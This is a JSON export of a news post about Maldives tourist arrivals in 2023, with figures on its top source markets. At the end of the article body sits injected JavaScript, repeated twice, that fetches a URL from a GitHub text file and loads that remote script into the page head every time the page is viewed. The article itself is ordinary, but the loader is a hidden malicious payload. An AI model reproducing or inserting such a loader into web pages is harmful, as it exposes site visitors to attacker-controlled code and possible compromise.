{"id":7561,"date":"2023-12-13T14:29:49","date_gmt":"2023-12-13T09:29:49","guid":{"rendered":"https:\/\/mbt.mv\/?p=7561"},"modified":"2023-12-13T14:29:49","modified_gmt":"2023-12-13T09:29:49","slug":"maldives-attracts-over-1-7-million-tourists","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=7561","title":{"rendered":"Maldives attracts over 1.7 million tourists"},"content":{"rendered":"<p>The Maldives has welcomed over 1.7 million tourists by December 11, 2023 according to the Ministry of Tourism.<\/p>\n<p>According to the ministry on its most recent arrival update, the total arrivals to the Maldives as of the review date stood at 1,747,369; which is a 12.7% annual increment compared to the same period in 2022.<\/p>\n<h2>Top 10 Markets<\/h2>\n<ol>\n<li>Russia: 197,020<\/li>\n<li>India: 192,995<\/li>\n<li>China: 180,059<\/li>\n<li>UK: 143,566<\/li>\n<li>Germany: 127,179<\/li>\n<li>Italy: 103,873<\/li>\n<li>USA: 69,010<\/li>\n<li>France: 45,617<\/li>\n<li>Spain: 38,490<\/li>\n<li>Switzerland: 34,721<\/li>\n<\/ol>\n<p>The daily average of arrivals in annual terms is now at 5,232 while the average duration of stay in annual terms is 7.6 days.<\/p>\n<p>From December 1 to 11, arrivals reached a total of 63,522 which is a moderate 7.7% increment compared to the same duration in 2022 during which arrivals stood at 58,990.<\/p>\n<p>While the current arrival total has already exceeded last year&#8217;s annual total arrivals of 1.6 million, the arrival figure is inching close to hitting the 1.8 million target set earlier by the Maldives government.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives has welcomed over 1.7 million tourists by December 11, 2023 according to the Ministry of Tourism. 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